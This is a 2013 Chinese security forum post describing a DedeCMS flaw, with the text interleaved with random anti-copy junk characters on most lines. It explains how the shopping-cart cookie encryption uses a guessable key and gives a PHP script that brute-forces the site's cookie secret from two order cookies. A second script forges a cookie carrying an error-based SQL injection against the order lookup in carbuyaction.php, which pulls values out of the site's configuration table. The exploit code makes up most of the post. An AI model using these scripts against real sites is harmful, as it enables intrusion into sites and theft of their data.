找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2150|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=; g0 S* l2 s7 i! h
在 include/shopcar.class.php中7 C+ D  w3 |5 c* C% L/ E- a' Y1 X
先看一下这个shopcar类是如何生成cookie的
% m8 G0 M5 H0 x9 t% M! ~: T239      function saveCookie($key,$value)
$ y8 y: `' ^# N240      {: O& v0 B: U- b6 {- y( i
241          if(is_array($value))
$ r( v( b0 {$ C, p( F- Q242          {2 [! S, K/ ]3 [# B) l* y( t
243              $value = $this->enCrypt($this->enCode($value));, E# B0 l# e; }, b; a8 ~! N& L& e
244          }! h3 ], d6 U( F1 K2 m' W
245          else
8 n5 p( a, F# g: h7 C246          {
( ~! R* \( P- S7 \3 c" o+ i247              $value = $this->enCrypt($value);
/ o( u$ I  ]" f6 T248          }
* G4 \0 ?1 Y* ]+ [. K# ~249          setcookie($key,$value,time()+36000,’/');
9 \! C" o& k' a' H) G6 s250      }8 t! I, b( o8 D9 F* s
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数+ D2 }7 h# x  c% q+ O* q. G7 ?
186      function enCrypt($txt)' `  P5 \1 \6 a, e
187      {
3 k" R! Z" F# [: x* P188          srand((double)microtime() * 1000000);- A. k$ f/ L/ N4 g% r
189          $encrypt_key = md5(rand(0, 32000));- }. h; Z9 n; ~+ {9 l3 B
190          $ctr = 0;7 a3 g: n, l7 ]& M; F& r# M" i
191          $tmp = ”;: `5 O# Q2 @- b! Z( x& d8 M4 M- n
192          for($i = 0; $i < strlen($txt); $i++)3 T6 ^8 P) e' b6 L  g
193          {
& r0 y& ^2 w0 A1 y, \3 j5 z194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
" S1 p6 v, {7 p' V2 I6 r195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);. W% \: ^& p2 B1 ^9 b
196          }; B5 P, g+ f5 T- ]# V- L& G
197          return base64_encode($this->setKey($tmp));
9 N: N9 h- o' W( q  d198      }
- P) Q1 Z$ k' E7 t+ V213      function setKey($txt)
, L) k! T% D4 i0 l  W214      {
% B5 i) O1 {  V0 s215          global $cfg_cookie_encode;& w- C& o5 K' g- b% J
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));% n# P) ^8 u# G1 V7 L
217          $ctr = 0;  G1 N/ k6 p  R- Z* F" s" w, ?
218          $tmp = ”;
" K5 R( l8 X7 u4 A% \. N219          for($i = 0; $i < strlen($txt); $i++)* D: \: S5 O: \. L
220          {
3 j! S8 g, l' K# X, T% f; E221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 S8 T& E) W/ y  q; {6 @222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
/ X- r7 u2 i* O# @" _3 v% F& g223          }
" }& T" V5 I8 Z! }; s% H224          return $tmp;4 q* G+ R+ M. [% ]# \6 ^
225      }
5 G% N0 v. q9 G' c5 x0 O/ IenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
0 F* e2 H# p" @然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
  K0 A# f, S8 N. F具体代码如下:
5 a$ {+ ]1 v; D, j  S# S<?php: C1 B$ \% @3 n3 T1 u$ _( N
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here5 C: U, e" j8 ]$ t
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here( C7 p/ V* M  g# Z$ p
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
2 r7 D5 f: m+ i3 j+ e  pfunction reStrCode($code,$string)) ?7 v8 n4 |: A1 T2 j% R5 i
{
: j; s3 `+ c* X% w6 c$code = base64_decode($code);
5 P' Q$ O. z2 j. ?, ~; ]$key = “”;
/ W4 Z! o+ U2 ?9 Z; j, E6 lfor($i=0 ; $i<32 ; $i++)+ r* H1 r" Z4 `
{
8 W/ l1 h/ R5 U% x& E( P7 g$key .= $string[$i] ^ $code[$i];
# z$ ^; |: {: y, X" e" {0 P}# ~+ w5 n' D- e0 D' H: L
return $key;
# A, I# D( p! o- i' o}
+ x2 J: \6 f9 wfunction getKeys($cookie,$plantxt)* m# j) e) j) z9 T
{
# {! M0 j6 h! Q6 ~9 Z% j$tmp = $cookie;
: M9 R/ [: B: |! u( `- V' X) O$results = array();
. Y( K) b( A9 S- ^for($j=0 ; $j < 32000; $j++)5 y, Y. V  G# u3 h0 e
{
: T6 ?- E! q) |+ h, M8 i
: P/ _# _1 C, t' x/ X% g$txt = $plantxt;5 R8 J9 L0 {. @2 U  E! t+ _9 K6 i
$ctr = 0;. B* x/ z' }6 C: F
$tmp = ”;7 n) u' n4 }4 i! j- Q% i
$encrypt_key = md5($j);/ Q$ m; q0 f& \9 s% `0 B2 n
for($i =0; $i < strlen($txt); $i ++)
1 E3 u( e. S( C$ O" `: _! _# q' d{
  D! D. M9 s; X  g5 d$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
: r& Y8 L5 a% p1 q3 @) e* v$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 U8 c+ u5 x7 Y7 w+ x6 r
}
$ W, l: C! x  j) O/ R, |$string = $tmp;6 E1 o1 R* d+ v8 x% O3 @
$code = $cookie;
- Q4 E! A$ N6 q5 V: w8 {. H2 o, X$result = reStrCode($code,$string);7 _4 v! `! _, X, j7 x5 _
if(eregi(‘^[a-z0-9]+$’,$result))  R, V6 M. P' X5 n
{
' S* I" {6 i4 \% ?4 c( r0 {0 fecho $result.”\n”;) [( {8 z" x/ v4 @% ~
$results[] = $result;8 E1 g# w8 q1 F) N
}* I8 A; ~; k/ J3 z9 Z
}! ?! v9 }$ a% u
return $results;
2 e( c2 @$ W) N+ E}
$ I7 W: J9 M1 M8 S' @8 o- R$ j( q$results1 = getKeys($cookie1,$plantxt);. _8 B) z6 O$ X0 p; C4 t  v
$results2 = getKeys($cookie2,$plantxt);
4 Y& g7 A- `+ i- S0 m) I, u+ f+ Bprint “\n——————–real key————————–\n”;+ R1 q! c" l/ \" A5 K( P2 o. w
foreach($results1 as $test1)+ n3 p( y$ Q$ _2 `; x# U
{9 a  T/ w) j) P$ \! j
foreach($results2 as $test2)
7 F7 [4 L2 d7 E4 `, i{* m8 K1 j3 a5 h$ y& a+ ^- K7 ?
if($test1 == $test2)8 [* a( z8 e6 t) N- M1 ~$ m
{
, k# U2 C) S( I2 E& iecho $test1.”\n”;
/ [: L! l; f: T) \" H: }}
3 p6 F3 N' u; U& T$ h" N, t}
# \3 r) ?, z' O4 ]4 ?+ R}( ?5 T* B, e& P0 Y! y& W
?>
; r0 m% E6 F) k* ocookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
0 c6 d" Y# u# C" h1 K" t$ Y+ `, Q$ U6 Cplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1! B4 S5 Z6 \0 N* m6 B, K; n8 y9 n
然后推算出md5(strtolower($cfg_cookie_encode))$ `- Y( n5 d4 u( B/ K4 T* w
得到这个key之后,我们就可以构造任意购物车的cookie
+ e  R  r7 {9 z( j3 k9 u# a1 j接着看
5 W0 c( w  }7 u" ]& Y7 j) p20  class MemberShops7 O+ m9 d# o3 w! B% ^8 f
21  {
; k" o# `$ z, q% C+ y: e+ I: E/ v22      var $OrdersId;+ ?" V4 Z8 y; ]4 J
23      var $productsId;
% T) B5 [! h. ?+ s6 i246 C. I# S. V1 O: X+ c) S* ?
25      function __construct()' ~  l+ u) j( E2 Z) ?/ ^
26      {% i1 F3 J$ y" a2 ?# u  S
27          $this->OrdersId = $this->getCookie(“OrdersId”);
9 s" t2 w1 b0 N7 u+ q28          if(empty($this->OrdersId))
2 E/ k/ j& e& m7 F1 |29          {! N" q3 e, |) P
30              $this->OrdersId = $this->MakeOrders();
  i* X9 r1 ?) \6 k1 C7 V$ k31          }
% E* I- \" r0 o/ X32      }
4 n; U; i9 H  n- p; @发现OrderId是从cookie里面获取的
" L0 h8 P; o4 r: `然后6 U0 g# K; r, q" @
/plus/carbuyaction.php中的
6 n6 }, {2 c5 k0 H29      $cart    = new MemberShops();& `2 t6 X3 Q4 K
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号3 |) D' f( V, c/ l$ w$ v" N) w# s
……" K% w- l3 }( S4 c: m7 [! H
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
5 `- x2 `5 b7 ?9 G% N. s! d. T6 R" e接着我们就可以注入了
7 X' t! E( I7 K: A- W. z+ l, a通过利用下面代码生成cookie:  f  R- t4 d$ f0 J( A
<?php& [1 |( x) u4 k  l- e+ o9 J9 C
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
% R* Y+ E3 U! D9 f$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here( c" E& a1 j5 Y! r
function setKey($txt)1 ]2 F" z  \' f( c/ `
{
5 r, j0 k5 h5 U/ q5 u  hglobal $encrypt_key;
* q, S: o1 b$ U1 t  ~* s, ^$ctr = 0;8 d1 {2 a0 l6 E7 y- T
$tmp = ”;8 p, D- L$ W3 @( a8 n% T: Q
for($i = 0; $i < strlen($txt); $i++)1 h- W8 U' t/ A8 h, k0 }8 b& f4 u
{6 R( s( b3 w& _. c2 M  [. n# P
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;/ n, W% ?( w8 A. }: e+ t3 s0 ~0 ]
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
- Z# s7 z) r$ B* w. ^9 q! H}7 p/ `) G1 m6 ]% \# R' G& z% s
return $tmp;3 C/ _; x# l5 g, P5 r
}
% r3 ~5 X! G) D$ ~# l2 V* I& ?function enCrypt($txt)
$ P: |. D9 }, M& V{
  b$ m1 T: F- k- ~; R- i" ?$ asrand((double)microtime() * 1000000);8 V7 w7 R' e. D0 @! O
$encrypt_key = md5(rand(0, 32000));
* r: Z' b6 L8 \$ctr = 0;/ {0 `! n' |' O
$tmp = ”;" e  f, C3 S4 z  [( B
for($i = 0; $i < strlen($txt); $i++)9 M" |) C2 c' h' E- x" s% L
{7 F1 v8 B3 K" i* }
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;) X1 z/ j( R! R+ S$ s
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
  `) G# K& g. f+ A: P. k}
$ o3 N% J, ]- T4 l% ureturn base64_encode(setKey($tmp));
# E) m% N. \7 f0 c1 T5 ^& c}
9 ~6 h# i, N( K8 Qfor($dest =0;$dest = enCrypt($txt);)- ?/ l* A$ w+ g" @0 g* ^9 p! i1 j
{
' s$ l+ H( J( ~! j1 T. a1 H  H' X& aif(!strpos($dest,’+'))) C! X% s$ J/ z" D4 r% l4 M
{
5 b! e" [; U5 obreak;
1 G( N- E% w8 G; l: ]" K6 U, s5 P}& B1 t4 v3 `+ ^- Q4 k
}
# ]6 Z% M% _: mecho $dest.”\n”;
/ u6 g" c6 f0 o, \" k?>
( L' v  x. A% t. `( B, [" w1 v5 u# `% O& o" n$ _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表